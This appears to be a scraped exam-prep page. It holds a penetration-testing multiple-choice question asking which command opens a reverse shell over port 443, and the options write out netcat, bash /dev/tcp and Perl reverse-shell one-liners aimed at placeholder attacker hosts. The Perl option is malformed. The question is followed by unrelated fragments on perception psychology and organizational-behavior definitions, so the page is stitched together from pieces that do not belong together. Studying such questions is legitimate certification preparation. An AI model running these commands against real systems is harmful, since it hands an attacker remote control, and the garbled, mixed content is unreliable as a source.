A Penetration Tester Compromises a System That Has Unrestricted Network

question 161

Multiple Choice

A penetration tester compromises a system that has unrestricted network access over port 443 to any host. The penetration tester wants to create a reverse shell from the victim back to the attacker. Which of the following methods would the penetration tester MOST likely use?

• A) perl -e 'use SOCKET'; $i='<SOURCEIP>; $p='443;
• B) ssh superadmin@<DESTINATIONIP> -p 443
• C) nc -e /bin/sh <SOURCEIP> 443 nc -e /bin/sh <SOURCEIP> 443
• D) bash -i >& /dev/tcp/<DESTINATIONIP>/443 0>&1

Understand the concepts of perceptual constancy and how they apply to real-world perception.

Describe the principles and researchers of Gestalt psychology related to perception.

Explain the significance of depth perception and distinguish between monocular and binocular cues.

Recognize and explain common visual illusions and their perceptual principles.

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Definitions:

Sequential

Pertaining to or describing events, processes, or items in a specific order or sequence.

Reciprocal Interdependence

A situation or relationship in which two or more entities depend on each other equally for resources, information, or outcomes.

Silence

The absence of verbal communication, which can be strategic or arise from various situational or psychological factors.

McGrath's Taxonomy

A classification system developed by Joseph E. McGrath that organizes groups and team tasks into categories based on their complexities and objectives.